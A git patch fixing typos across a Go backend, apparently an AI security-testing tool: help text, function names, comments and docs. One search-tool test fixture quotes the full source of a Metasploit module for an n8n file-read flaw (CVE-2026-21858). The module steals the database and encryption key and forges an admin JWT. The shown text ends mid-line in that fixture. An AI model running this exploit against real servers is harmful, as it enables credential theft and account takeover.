From b4d9a6e405abe2af222d4636f57c6c2c5c91b257 Mon Sep 17 00:00:00 2001 From: Patrick Stoeckle Date: Mon, 19 Oct 2026 17:21:30 +0200 Subject: [PATCH] chore(typos): fix some typos --- backend/cmd/ctester/main.go | 2 +- backend/cmd/ftester/worker/tester.go | 6 +- backend/docs/llms_how_to.md | 68 +++++++++---------- .../langfuse/api/internal/caller.go | 2 +- backend/pkg/server/models/assistants.go | 4 +- backend/pkg/server/models/flows.go | 4 +- backend/pkg/server/models/prompts.go | 2 +- backend/pkg/server/rdb/table.go | 8 +-- backend/pkg/templates/validator/testdata.go | 2 +- backend/pkg/tools/executor.go | 6 +- .../testdata/sploitus_result_cve_2026.json | 2 +- .../testdata/sploitus_result_nmap.json | 2 +- .../dashboards/server/node_exporter_full.json | 24 +++---- 13 files changed, 66 insertions(+), 66 deletions(-) diff --git a/backend/cmd/ctester/main.go b/backend/cmd/ctester/main.go index 8d057e851..2fb1d3b5d 100644 --- a/backend/cmd/ctester/main.go +++ b/backend/cmd/ctester/main.go @@ -38,7 +38,7 @@ import ( func main() { envFile := flag.String("env", ".env", "Path to environment file") providerType := flag.String("type", "custom", "Provider type [custom, openai, anthropic, gemini, bedrock, ollama, deepseek, glm, kimi, qwen, minimax, mistral, xai]") - providerName := flag.String("name", "", "Provider name using as PROVDER_NAME/MODEL_NAME while building provider config") + providerName := flag.String("name", "", "Provider name using as PROVIDER_NAME/MODEL_NAME while building provider config") configPath := flag.String("config", "", "Path to provider config file") testsPath := flag.String("tests", "", "Path to custom tests YAML file") reportPath := flag.String("report", "", "Path to write report file") diff --git a/backend/cmd/ftester/worker/tester.go b/backend/cmd/ftester/worker/tester.go index b593efb75..6c81f9d86 100644 --- a/backend/cmd/ftester/worker/tester.go +++ b/backend/cmd/ftester/worker/tester.go @@ -273,7 +273,7 @@ func (t *tester) Execute(args []string) error { } // If flowID > 0 and the function requires terminal preparation, prepare it - if t.flowID > 0 && t.needsTeminalPrepare(funcName) { + if t.flowID > 0 && t.needsTerminalPrepare(funcName) { terminal.PrintInfo("Preparing container for terminal operations...") if err := t.flowExecutor.Prepare(t.ctx); err != nil { return fmt.Errorf("failed to prepare executor: %w", err) @@ -666,8 +666,8 @@ func (t *tester) showFunctionHelp(funcName string) error { return nil } -// needsTeminalPrepare determines if a function needs terminal preparation -func (t *tester) needsTeminalPrepare(funcName string) bool { +// needsTerminalPrepare determines if a function needs terminal preparation +func (t *tester) needsTerminalPrepare(funcName string) bool { // These functions require terminal preparation terminalFunctions := map[string]bool{ tools.TerminalToolName: true, diff --git a/backend/docs/llms_how_to.md b/backend/docs/llms_how_to.md index ed2e02dbc..bda4e704b 100644 --- a/backend/docs/llms_how_to.md +++ b/backend/docs/llms_how_to.md @@ -124,7 +124,7 @@ cleanedChain := ast.Messages() **What stays preserved**: - All text content - Tool call IDs (after normalization) -- Function names and arguments +- Function names and arguments - Tool responses **Automatic handling**: Both `NormalizeToolCallIDs()` and `ClearReasoning()` are called automatically in `restoreChain()` to ensure full compatibility when switching providers. @@ -254,13 +254,13 @@ graph LR B --> C[Message 1] C --> D[Message 2] D --> E[Message 3] - + style A fill:#90EE90 style B fill:#90EE90 style C fill:#90EE90 style D fill:#FFD700 style E fill:#FFD700 - + A -.invalidates.-> B B -.invalidates.-> C ``` @@ -910,7 +910,7 @@ This is required for tools to work correctly. ``` **Automatic Protection**: The summarization algorithm (`chain_summary.go`) automatically: -1. **Skips the last body pair** in `summarizeOversizedBodyPairs()` +1. **Skips the last body pair** in `summarizeOversizedBodyPairs()` 2. **Always preserves the most recent interaction** in `determineLastSectionPairs()` 3. **Maintains reasoning signatures** for continued conversation @@ -1125,7 +1125,7 @@ msgs := []llms.MessageContent{ }}, } resp1, _ := llm.GenerateContent(ctx, msgs, llms.WithModel("gpt-4.1-mini")) -// CacheWrite: > 0, CachRead: 0 +// CacheWrite: > 0, CacheRead: 0 // Turn 2 - Simple text part works! msgs = append(msgs, @@ -1343,7 +1343,7 @@ When building applications that switch between providers, be aware of these **CR // ✓ UNIVERSAL - Works for all providers func buildAIMessage(choice *llms.ContentChoice) llms.MessageContent { var parts []llms.ContentPart - + // Preserve reasoning if present (required for Anthropic/Gemini, harmless for OpenAI) if choice.Reasoning != nil { parts = append(parts, @@ -1352,10 +1352,10 @@ func buildAIMessage(choice *llms.ContentChoice) llms.MessageContent { } else { parts = append(parts, llms.TextPart(choice.Content)) } - + // Add tool calls parts = append(parts, choice.ToolCalls...) - + return llms.MessageContent{ Role: llms.ChatMessageTypeAI, Parts: parts, @@ -1380,17 +1380,17 @@ func buildAIMessage(choice *llms.ContentChoice) llms.MessageContent { ```go func extractReasoning(resp *llms.ContentResponse, provider string) *reasoning.ContentReasoning { choice := resp.Choices[0] - + switch provider { case "anthropic", "openai": return choice.Reasoning // Always at choice level - + case "gemini": if len(choice.ToolCalls) > 0 { return choice.ToolCalls[0].Reasoning // First tool for tool calls } return choice.Reasoning // Choice level for text - + default: // Universal fallback: check both locations if choice.Reasoning != nil { @@ -1428,7 +1428,7 @@ func buildReasoningOptions(provider string, wantedTemp float64) []llms.CallOptio opts := []llms.CallOption{ llms.WithReasoning(llms.ReasoningMedium, 2048), } - + switch provider { case "anthropic": opts = append(opts, llms.WithTemperature(1.0)) // Force 1.0 @@ -1438,7 +1438,7 @@ func buildReasoningOptions(provider string, wantedTemp float64) []llms.CallOptio case "gemini": opts = append(opts, llms.WithTemperature(wantedTemp)) // Flexible } - + return opts } ``` @@ -1460,7 +1460,7 @@ func buildReasoningOptions(provider string, wantedTemp float64) []llms.CallOptio ```go func setupCaching(provider string, systemPrompt string) []llms.CallOption { var opts []llms.CallOption - + switch provider { case "anthropic": // Inline cache control with strategy @@ -1473,7 +1473,7 @@ func setupCaching(provider string, systemPrompt string) []llms.CallOption { TTL: "5m", }), ) - + case "gemini": // Large content: use explicit caching if len(systemPrompt) > 24000 { @@ -1482,12 +1482,12 @@ func setupCaching(provider string, systemPrompt string) []llms.CallOption { } // Small content: rely on implicit caching with signature preservation // Just ensure llms.WithReasoning() is used with gemini-3-flash-preview - + case "openai": // Nothing to configure - fully automatic // Just monitor metrics to verify cache hits } - + return opts } ``` @@ -1530,17 +1530,17 @@ aiParts := []llms.ContentPart{ ```go func buildUniversalAIMessage(choice *llms.ContentChoice) llms.MessageContent { var parts []llms.ContentPart - + // Add text with reasoning if present (safe for all providers) if choice.Content != "" || choice.Reasoning != nil { parts = append(parts, llms.TextPartWithReasoning(choice.Content, choice.Reasoning), ) } - + // Add all tool calls parts = append(parts, choice.ToolCalls...) - + return llms.MessageContent{ Role: llms.ChatMessageTypeAI, Parts: parts, @@ -1575,17 +1575,17 @@ func extractReasoningContent(choice *llms.ContentChoice) string { if choice.Reasoning != nil && choice.Reasoning.Content != "" { return choice.Reasoning.Content } - + // Gemini: check first tool call if len(choice.ToolCalls) > 0 && choice.ToolCalls[0].Reasoning != nil { return choice.ToolCalls[0].Reasoning.Content } - + // Check if reasoning was used (even if content not returned) if reasoningTokens, ok := choice.GenerationInfo["ReasoningTokens"].(int); ok && reasoningTokens > 0 { return "[reasoning used but content not available]" } - + return "" } ``` @@ -1627,21 +1627,21 @@ func (c *MultiProviderClient) SendMessage( enableReasoning bool, ) (*llms.ContentResponse, error) { opts := c.buildOptions(enableReasoning) - + resp, err := c.llm.GenerateContent(ctx, messages, opts...) if err != nil { return nil, err } - + return resp, nil } func (c *MultiProviderClient) buildOptions(enableReasoning bool) []llms.CallOption { var opts []llms.CallOption - + if enableReasoning { opts = append(opts, llms.WithReasoning(llms.ReasoningMedium, 2048)) - + // Provider-specific temperature switch c.provider { case "anthropic": @@ -1654,10 +1654,10 @@ func (c *MultiProviderClient) buildOptions(enableReasoning bool) []llms.CallOpti opts = append(opts, llms.WithTemperature(0.7)) } } - + // Provider-specific caching opts = append(opts, c.setupCaching()...) - + return opts } @@ -1689,10 +1689,10 @@ func (c *MultiProviderClient) ContinueConversation( lastResponse *llms.ContentResponse, ) []llms.MessageContent { choice := lastResponse.Choices[0] - + // Build AI message in provider-agnostic way var parts []llms.ContentPart - + // Extract reasoning (location differs by provider) var reasoning *reasoning.ContentReasoning switch c.provider { @@ -1705,7 +1705,7 @@ func (c *MultiProviderClient) ContinueConversation( reasoning = choice.Reasoning } } - + // Build parts list if choice.Content != "" || reasoning != nil { parts = append(parts, @@ -1713,7 +1713,7 @@ func (c *MultiProviderClient) ContinueConversation( ) } parts = append(parts, choice.ToolCalls...) - + return append(messages, llms.MessageContent{ Role: llms.ChatMessageTypeAI, Parts: parts, @@ -1859,7 +1859,7 @@ The library automatically handles these provider-specific edge cases: --- **Version**: Based on APIs as of 2025-01 -**Providers**: +**Providers**: - Anthropic: Claude 3.7, Sonnet 4, Haiku 4.5+ - Gemini: gemini-2.5-flash, gemini-3-flash-preview - OpenAI: o1, o3, o4, gpt-4.1+, and OpenAI-compatible backends diff --git a/backend/pkg/observability/langfuse/api/internal/caller.go b/backend/pkg/observability/langfuse/api/internal/caller.go index cf5bafb1f..ade717852 100644 --- a/backend/pkg/observability/langfuse/api/internal/caller.go +++ b/backend/pkg/observability/langfuse/api/internal/caller.go @@ -28,7 +28,7 @@ type Caller struct { retrier *Retrier } -// CallerParams represents the parameters used to constrcut a new *Caller. +// CallerParams represents the parameters used to construct a new *Caller. type CallerParams struct { Client core.HTTPClient MaxAttempts uint diff --git a/backend/pkg/server/models/assistants.go b/backend/pkg/server/models/assistants.go index a018ae598..9982cc05a 100644 --- a/backend/pkg/server/models/assistants.go +++ b/backend/pkg/server/models/assistants.go @@ -81,7 +81,7 @@ func (a Assistant) Validate(db *gorm.DB) { } } -// CreateAssistant is model to contain assistant creation paylaod +// CreateAssistant is model to contain assistant creation payload // nolint:lll type CreateAssistant struct { Input string `form:"input" json:"input" validate:"required" example:"user input for running assistant"` @@ -96,7 +96,7 @@ func (ca CreateAssistant) Valid() error { return validate.Struct(ca) } -// PatchAssistant is model to contain assistant patching paylaod +// PatchAssistant is model to contain assistant patching payload // nolint:lll type PatchAssistant struct { Action string `form:"action" json:"action" validate:"required,oneof=stop input" enums:"stop,input" default:"stop"` diff --git a/backend/pkg/server/models/flows.go b/backend/pkg/server/models/flows.go index cf082438f..6e455c44f 100644 --- a/backend/pkg/server/models/flows.go +++ b/backend/pkg/server/models/flows.go @@ -80,7 +80,7 @@ func (f Flow) Validate(db *gorm.DB) { } } -// CreateFlow is model to contain flow creation paylaod +// CreateFlow is model to contain flow creation payload // nolint:lll type CreateFlow struct { Input string `form:"input" json:"input" validate:"required" example:"user input for first task in the flow"` @@ -94,7 +94,7 @@ func (cf CreateFlow) Valid() error { return validate.Struct(cf) } -// PatchFlow is model to contain flow patching paylaod +// PatchFlow is model to contain flow patching payload // nolint:lll type PatchFlow struct { Action string `form:"action" json:"action" validate:"required,oneof=stop finish input rename report" enums:"stop,finish,input,rename,report" default:"stop"` diff --git a/backend/pkg/server/models/prompts.go b/backend/pkg/server/models/prompts.go index 6591c96a7..231162621 100644 --- a/backend/pkg/server/models/prompts.go +++ b/backend/pkg/server/models/prompts.go @@ -60,7 +60,7 @@ func (p Prompt) Validate(db *gorm.DB) { } } -// PatchPrompt is model to contain prompt patching paylaod +// PatchPrompt is model to contain prompt patching payload type PatchPrompt struct { Prompt string `form:"prompt" json:"prompt" validate:"required"` } diff --git a/backend/pkg/server/rdb/table.go b/backend/pkg/server/rdb/table.go index 42d6fa4dc..e6c0357d1 100644 --- a/backend/pkg/server/rdb/table.go +++ b/backend/pkg/server/rdb/table.go @@ -83,7 +83,7 @@ func (q *TableQuery) Init(table string, sqlMappers map[string]any) error { switch t := v.(type) { case string: t = q.DoConditionFormat(t) - if isNumbericField(k) { + if isNumericField(k) { q.sqlMappers[k] = t } else { q.sqlMappers[k] = "LOWER(" + t + "::text)" @@ -239,12 +239,12 @@ func (q *TableQuery) DataFilter() func(db *gorm.DB) *gorm.DB { switch f.Operator { case "<", "<=", ">=", ">", "=", "!=", "in": case "not like": - if isNumbericField(f.Field) { + if isNumericField(f.Field) { f.Operator = "!=" } default: f.Operator = "like" - if isNumbericField(f.Field) { + if isNumericField(f.Field) { f.Operator = "=" } } @@ -383,6 +383,6 @@ func MakeUuidStrFromHash(hash string) (string, error) { return userIdUuid.String(), nil } -func isNumbericField(field string) bool { +func isNumericField(field string) bool { return strings.HasSuffix(field, "_id") || strings.HasSuffix(field, "_at") || field == "id" } diff --git a/backend/pkg/templates/validator/testdata.go b/backend/pkg/templates/validator/testdata.go index 6dc85e54d..426ae5719 100644 --- a/backend/pkg/templates/validator/testdata.go +++ b/backend/pkg/templates/validator/testdata.go @@ -348,7 +348,7 @@ func createBarrierTools() []tools.FunctionInfo { for toolName, toolType := range toolsMapping { if toolType == tools.BarrierToolType { if def, ok := registryDefinitions[toolName]; ok { - // Convert parameters to JSON schema (simplified version of converToJSONSchema) + // Convert parameters to JSON schema (simplified version of convertToJSONSchema) schemaJSON, err := json.Marshal(def.Parameters) if err != nil { continue diff --git a/backend/pkg/tools/executor.go b/backend/pkg/tools/executor.go index 793957b30..18b2f9ab8 100644 --- a/backend/pkg/tools/executor.go +++ b/backend/pkg/tools/executor.go @@ -483,18 +483,18 @@ func (ce *customExecutor) GetBarrierTools() []FunctionInfo { func (ce *customExecutor) GetToolSchema(name string) (*schema.Schema, error) { for _, def := range ce.definitions { if def.Name == name { - return ce.converToJSONSchema(def.Parameters) + return ce.convertToJSONSchema(def.Parameters) } } if def, ok := registryDefinitions[name]; ok { - return ce.converToJSONSchema(def.Parameters) + return ce.convertToJSONSchema(def.Parameters) } return nil, fmt.Errorf("tool %s not found", name) } -func (ce *customExecutor) converToJSONSchema(params any) (*schema.Schema, error) { +func (ce *customExecutor) convertToJSONSchema(params any) (*schema.Schema, error) { jsonSchema, err := json.Marshal(params) if err != nil { return nil, fmt.Errorf("failed to marshal parameters: %w", err) diff --git a/backend/pkg/tools/searchers/testdata/sploitus_result_cve_2026.json b/backend/pkg/tools/searchers/testdata/sploitus_result_cve_2026.json index ba1eac024..a03513f1d 100644 --- a/backend/pkg/tools/searchers/testdata/sploitus_result_cve_2026.json +++ b/backend/pkg/tools/searchers/testdata/sploitus_result_cve_2026.json @@ -37,7 +37,7 @@ "type": "metasploit", "published": "2026-02-16", "id": "MSF:AUXILIARY-GATHER-NI8MARE_CVE_2026_21858-", - "source": "## https://sploitus.com/exploit?id=MSF:AUXILIARY-GATHER-NI8MARE_CVE_2026_21858-\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\nrequire 'sqlite3'\n\nclass MetasploitModule < Msf::Auxiliary\n\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'n8n arbitrary file read',\n 'Description' => 'This module exploits CVE-2026-21858, a critical unauthenticated remote code execution vulnerability in n8n workflow automation platform versions 1.65.0 through 1.120.x. The vulnerability, dubbed \"Ni8mare\", is a content-type confusion flaw in webhook request handling that allows attackers to achieve arbitrary file read.',\n 'Author' => [\n 'dor attias', # research\n 'msutovsky-r7' # module\n ],\n 'Actions' => [\n ['READ_FILE', { 'Description' => 'Read an arbitrary file from the target' }],\n ['EXTRACT_SESSION', { 'Description' => 'Create an admin JWT session key by reading out secrets' }]\n ],\n 'DefaultAction' => 'EXTRACT_SESSION',\n 'License' => MSF_LICENSE,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [],\n 'SideEffects' => [IOC_IN_LOGS]\n }\n )\n )\n register_options([\n OptString.new('TARGET_EMAIL', [false, 'A target user for spoofed session, when EXTRACT_ADMIN_SESSION action is set'], conditions: ['ACTION', '==', 'EXTRACT_SESSION']),\n OptString.new('N8N_CONFIG_DIR', [false, 'Absolute path to n8n config directory', '/home/node/.n8n/'], conditions: ['ACTION', '==', 'EXTRACT_SESSION']),\n OptString.new('TARGET_FILENAME', [false, 'A target filename, when READ_FILE action is set'], conditions: ['ACTION', '==', 'READ_FILE']),\n OptString.new('USERNAME', [true, 'Username of n8n (email address)']),\n OptString.new('PASSWORD', [true, 'Password of n8n'])\n ])\n end\n\n def content_type_confusion_upload(form_uri, filename)\n extraction_filename = \"#{Rex::Text.rand_text_alpha(rand(8..11))}.pdf\"\n json_data = {\n files: {\n \"field-0\":\n {\n filepath: filename,\n originalFilename: extraction_filename,\n mimeType: 'text/plain',\n extenstion: ''\n }\n },\n data: [\n Rex::Text.rand_text_alpha(12)\n ],\n executionId: Rex::Text.rand_text_alpha(12)\n }\n res = send_request_cgi({\n 'uri' => normalize_uri('form-test', form_uri),\n 'method' => 'POST',\n 'ctype' => 'application/json',\n 'data' => json_data.to_json\n })\n\n fail_with(Failure::UnexpectedReply, 'Received unexpected response') unless res&.code == 200\n\n json_res = res.get_json_document\n\n fail_with(Failure::PayloadFailed, 'Failed to load target file') unless json_res['status'] != '200'\n end\n\n def login\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'rest', 'login'),\n 'ctype' => 'application/json',\n 'keep_cookies' => true,\n 'data' => {\n 'emailOrLdapLoginId' => datastore['USERNAME'],\n 'email' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD']\n }.to_json\n )\n return false unless res\n return true if res&.code == 200\n\n json_data = res.get_json_document\n\n print_error(\"Login failed: #{json_data['message']}\")\n\n false\n end\n\n def create_file_upload_workflow\n @workflow_name = \"workflow_#{Rex::Text.rand_text_alphanumeric(8)}\"\n random_uuid = SecureRandom.uuid.strip\n workflow_data = {\n 'name' => @workflow_name,\n 'active' => false,\n 'settings' => {\n 'saveDataErrorExecution' => 'all',\n 'saveDataSuccessExecution' => 'all',\n 'saveManualExecutions' => true,\n 'executionOrder' => 'v1'\n },\n nodes: [\n {\n parameters: {\n formTitle: Rex::Text.rand_text_alphanumeric(8),\n formFields: {\n values: [\n {\n fieldLabel: Rex::Text.rand_text_alphanumeric(8),\n fieldType: 'file'\n }\n ]\n },\n options: {}\n },\n type: 'n8n-nodes-base.formTrigger',\n typeVersion: 2.3,\n position: [0, 0],\n id: 'e4f12efa-9975-4041-b71f-0ce4999ec5a7',\n name: 'On form submission',\n webhookId: random_uuid\n }\n ],\n 'connections' => {},\n settings: { executionOrder: 'v1' }\n }\n\n print_status('Creating file upload workflow...')\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'rest', 'workflows'),\n 'ctype' => 'application/json',\n 'keep_cookies' => true,\n 'data' => workflow_data.to_json\n )\n fail_with(Failure::UnexpectedReply, \"Failed to create workflow: #{res&.code}\") unless res&.code == 200 || res.code == 201\n\n json = res.get_json_document\n\n @workflow_id = json.dig('data', 'id') || json['id']\n nodes = json.dig('data', 'nodes')\n version_id = json.dig('data', 'versionId')\n id = json.dig('data', 'id')\n\n fail_with(Failure::NotFound, 'Failed to get workflow ID from response') unless @workflow_id && nodes && version_id && id\n\n activation_data = {\n 'workflowData' => {\n 'name' => @workflow_name,\n 'nodes' => nodes,\n 'pinData' => {},\n 'connections' => {},\n 'active' => false,\n 'settings' => {\n 'saveDataErrorExecution' => 'all',\n 'saveDataSuccessExecution' => 'all',\n 'saveManualExecutions' => true,\n 'executionOrder' => 'v1'\n },\n 'tags' => [],\n 'versionId' => version_id,\n 'meta' => 'null',\n 'id' => id\n },\n startNodes: [\n {\n name: 'On form submission',\n sourceData: 'null'\n }\n ],\n destinationNode: 'On form submission'\n }\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'rest', 'workflows', @workflow_id.to_s, 'run'),\n 'ctype' => 'application/json',\n 'keep_cookies' => true,\n 'data' => activation_data.to_json\n )\n\n fail_with(Failure::UnexpectedReply, 'Workflow may not run, received unexpected reply') unless res&.code == 200\n\n json_data = res.get_json_document\n\n fail_with(Failure::PayloadFailed, 'Failed to run workflow') unless json_data.dig('data', 'waitingForWebhook') == true\n random_uuid\n end\n\n def get_run_id\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri('rest', 'executions'),\n 'vars_get' =>\n {\n 'filter' => %({\"workflowId\":\"#{@workflow_id}\"}),\n 'limit' => 10\n }\n })\n fail_with(Failure::UnexpectedReply, 'Received unexpected reply, could not get run ID') unless res&.code == 200\n\n json_data = res.get_json_document\n\n run_id = json_data.dig('data', 'results', 0, 'id')\n fail_with(Failure::Unknown, 'Failed to get run ID, workflow might not run') unless run_id\n\n run_id\n end\n\n def archive_workflow\n print_status(\"Cleaning up workflow #{@workflow_id}...\")\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'rest', 'workflows', @workflow_id.to_s, 'archive'),\n 'keep_cookies' => true\n )\n\n return false unless res&.code == 200\n\n json_data = res.get_json_document\n\n return false unless json_data.dig('data', 'id') == @workflow_id\n\n true\n end\n\n def valid_username?(username)\n /\\A[\\w+\\-.]+@[a-z\\d-]+(\\.[a-z\\d-]+)*\\.[a-z]+\\z/i =~ username\n end\n\n def delete_workflow\n res = send_request_cgi(\n 'method' => 'DELETE',\n 'uri' => normalize_uri(target_uri.path, 'rest', 'workflows', @workflow_id.to_s)\n )\n\n return false unless res&.code == 200\n\n json_data = res.get_json_document\n\n return false unless json_data['data'] == true\n\n true\n end\n\n def extract_content(run_id)\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri('rest', 'executions', run_id)\n })\n\n fail_with(Failure::UnexpectedReply, 'Failed to get information about execution, received unexpected reply') unless res&.code == 200\n\n json_data = res.get_json_document\n\n file_data = json_data.dig('data', 'data')\n\n fail_with(Failure::PayloadFailed, 'Failed to read the file') unless file_data\n\n parsed_file_data = parse_json_data(file_data)\n\n file_content_enc = parsed_file_data[29]\n\n fail_with(Failure::NotFound, 'File not found') unless file_content_enc\n\n file_content = ::Base64.decode64(file_content_enc)\n\n file_content\n end\n\n def parse_json_data(data)\n begin\n parsed_file_data = JSON.parse(data)\n rescue JSON::ParserError\n fail_with(Failure::Unknown, 'Failed to parse JSON data')\n end\n parsed_file_data\n end\n\n def read_file(filename)\n form_uri = create_file_upload_workflow\n\n content_type_confusion_upload(form_uri, filename)\n\n run_id = get_run_id\n\n file_content = extract_content(run_id)\n\n if !archive_workflow\n print_warning('Could not archive workflow, workflow might need to be archived and deleted manually')\n return file_content\n end\n\n if !delete_workflow\n print_warning('Could not deleted workflow, workflow might need to be deleted manually')\n return file_content\n end\n\n file_content\n end\n\n def run\n fail_with(Failure::BadConfig, 'Username should be valid email') unless valid_username?(datastore['USERNAME'])\n fail_with(Failure::NoAccess, 'Failed to login') unless login\n\n case action.name\n when 'READ_FILE'\n target_filename = datastore['TARGET_FILENAME']\n fail_with(Failure::BadConfig, 'Filename needs to be set') if target_filename.blank?\n file_content = read_file(target_filename)\n\n stored_path = store_loot(target_filename, 'text/plain', datastore['rhosts'], file_content)\n print_good(\"Results saved to: #{stored_path}\")\n\n when 'EXTRACT_SESSION'\n target_email = datastore['TARGET_EMAIL']\n\n fail_with(Failure::BadConfig, 'Target email needs to be set') if target_email.blank?\n fail_with(Failure::BadConfig, 'Target email should be valid email') unless valid_username?(target_email)\n\n db_content = read_file(\"#{datastore['N8N_CONFIG_DIR']}/database.sqlite\")\n\n fail_with(Failure::NotFound, 'Could not found database file') unless db_content\n\n db_loot_name = store_loot('database.sqlite', 'application/x-sqlite3', datastore['rhosts'], db_content)\n\n print_good(\"Database saved to: #{db_loot_name}\")\n\n db = SQLite3::Database.new(db_loot_name)\n\n user_id = db.execute(%(select id from user where email='#{target_email}')).dig(0, 0)\n password_hash = db.execute(%(select password from user where email='#{target_email}')).dig(0, 0)\n\n fail_with(Failure::NotFound, \"Could not found #{target_email} in database\") unless user_id && password_hash\n\n print_good(\"Extracted user ID: #{user_id}\")\n print_good(\"Extracted password hash: #{password_hash}\")\n\n store_valid_credential(\n user: target_email,\n private: password_hash\n )\n\n config_content = read_file(\"#{datastore['N8N_CONFIG_DIR']}/config\")\n\n fail_with(Failure::NotFound, 'Could not found config file') unless config_content\n\n config_name = store_loot('n8n.config', 'plain/text', datastore['rhosts'], config_content)\n print_good(\"Config file saved to: #{config_name}\")\n\n config_content_json = parse_json_data(config_content)\n encryption_key = config_content_json['encryptionKey']\n\n print_good(\"Extracted encryption key: #{encryption_key}\")\n\n encryption_key = (0...encryption_key.length).step(2).map { |i| encryption_key[i] }\n encryption_key = encryption_key.join('')\n\n jwt_payload = %({\"id\":\"#{user_id}\",\"hash\":\"#{Base64.urlsafe_encode64(Digest::SHA256.digest(\"#{target_email}:#{password_hash}\"))[0..9]}\"})\n\n jwt_ticket = Msf::Exploit::Remote::HTTP::JWT.encode(jwt_payload.to_s, OpenSSL::Digest::SHA256.hexdigest(encryption_key))\n\n print_good(\"JWT ticket as #{target_email}: #{jwt_ticket}\")\n\n end\n end\n\nend", + "source": "## https://sploitus.com/exploit?id=MSF:AUXILIARY-GATHER-NI8MARE_CVE_2026_21858-\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\nrequire 'sqlite3'\n\nclass MetasploitModule < Msf::Auxiliary\n\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'n8n arbitrary file read',\n 'Description' => 'This module exploits CVE-2026-21858, a critical unauthenticated remote code execution vulnerability in n8n workflow automation platform versions 1.65.0 through 1.120.x. The vulnerability, dubbed \"Ni8mare\", is a content-type confusion flaw in webhook request handling that allows attackers to achieve arbitrary file read.',\n 'Author' => [\n 'dor attias', # research\n 'msutovsky-r7' # module\n ],\n 'Actions' => [\n ['READ_FILE', { 'Description' => 'Read an arbitrary file from the target' }],\n ['EXTRACT_SESSION', { 'Description' => 'Create an admin JWT session key by reading out secrets' }]\n ],\n 'DefaultAction' => 'EXTRACT_SESSION',\n 'License' => MSF_LICENSE,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [],\n 'SideEffects' => [IOC_IN_LOGS]\n }\n )\n )\n register_options([\n OptString.new('TARGET_EMAIL', [false, 'A target user for spoofed session, when EXTRACT_ADMIN_SESSION action is set'], conditions: ['ACTION', '==', 'EXTRACT_SESSION']),\n OptString.new('N8N_CONFIG_DIR', [false, 'Absolute path to n8n config directory', '/home/node/.n8n/'], conditions: ['ACTION', '==', 'EXTRACT_SESSION']),\n OptString.new('TARGET_FILENAME', [false, 'A target filename, when READ_FILE action is set'], conditions: ['ACTION', '==', 'READ_FILE']),\n OptString.new('USERNAME', [true, 'Username of n8n (email address)']),\n OptString.new('PASSWORD', [true, 'Password of n8n'])\n ])\n end\n\n def content_type_confusion_upload(form_uri, filename)\n extraction_filename = \"#{Rex::Text.rand_text_alpha(rand(8..11))}.pdf\"\n json_data = {\n files: {\n \"field-0\":\n {\n filepath: filename,\n originalFilename: extraction_filename,\n mimeType: 'text/plain',\n extension: ''\n }\n },\n data: [\n Rex::Text.rand_text_alpha(12)\n ],\n executionId: Rex::Text.rand_text_alpha(12)\n }\n res = send_request_cgi({\n 'uri' => normalize_uri('form-test', form_uri),\n 'method' => 'POST',\n 'ctype' => 'application/json',\n 'data' => json_data.to_json\n })\n\n fail_with(Failure::UnexpectedReply, 'Received unexpected response') unless res&.code == 200\n\n json_res = res.get_json_document\n\n fail_with(Failure::PayloadFailed, 'Failed to load target file') unless json_res['status'] != '200'\n end\n\n def login\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'rest', 'login'),\n 'ctype' => 'application/json',\n 'keep_cookies' => true,\n 'data' => {\n 'emailOrLdapLoginId' => datastore['USERNAME'],\n 'email' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD']\n }.to_json\n )\n return false unless res\n return true if res&.code == 200\n\n json_data = res.get_json_document\n\n print_error(\"Login failed: #{json_data['message']}\")\n\n false\n end\n\n def create_file_upload_workflow\n @workflow_name = \"workflow_#{Rex::Text.rand_text_alphanumeric(8)}\"\n random_uuid = SecureRandom.uuid.strip\n workflow_data = {\n 'name' => @workflow_name,\n 'active' => false,\n 'settings' => {\n 'saveDataErrorExecution' => 'all',\n 'saveDataSuccessExecution' => 'all',\n 'saveManualExecutions' => true,\n 'executionOrder' => 'v1'\n },\n nodes: [\n {\n parameters: {\n formTitle: Rex::Text.rand_text_alphanumeric(8),\n formFields: {\n values: [\n {\n fieldLabel: Rex::Text.rand_text_alphanumeric(8),\n fieldType: 'file'\n }\n ]\n },\n options: {}\n },\n type: 'n8n-nodes-base.formTrigger',\n typeVersion: 2.3,\n position: [0, 0],\n id: 'e4f12efa-9975-4041-b71f-0ce4999ec5a7',\n name: 'On form submission',\n webhookId: random_uuid\n }\n ],\n 'connections' => {},\n settings: { executionOrder: 'v1' }\n }\n\n print_status('Creating file upload workflow...')\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'rest', 'workflows'),\n 'ctype' => 'application/json',\n 'keep_cookies' => true,\n 'data' => workflow_data.to_json\n )\n fail_with(Failure::UnexpectedReply, \"Failed to create workflow: #{res&.code}\") unless res&.code == 200 || res.code == 201\n\n json = res.get_json_document\n\n @workflow_id = json.dig('data', 'id') || json['id']\n nodes = json.dig('data', 'nodes')\n version_id = json.dig('data', 'versionId')\n id = json.dig('data', 'id')\n\n fail_with(Failure::NotFound, 'Failed to get workflow ID from response') unless @workflow_id && nodes && version_id && id\n\n activation_data = {\n 'workflowData' => {\n 'name' => @workflow_name,\n 'nodes' => nodes,\n 'pinData' => {},\n 'connections' => {},\n 'active' => false,\n 'settings' => {\n 'saveDataErrorExecution' => 'all',\n 'saveDataSuccessExecution' => 'all',\n 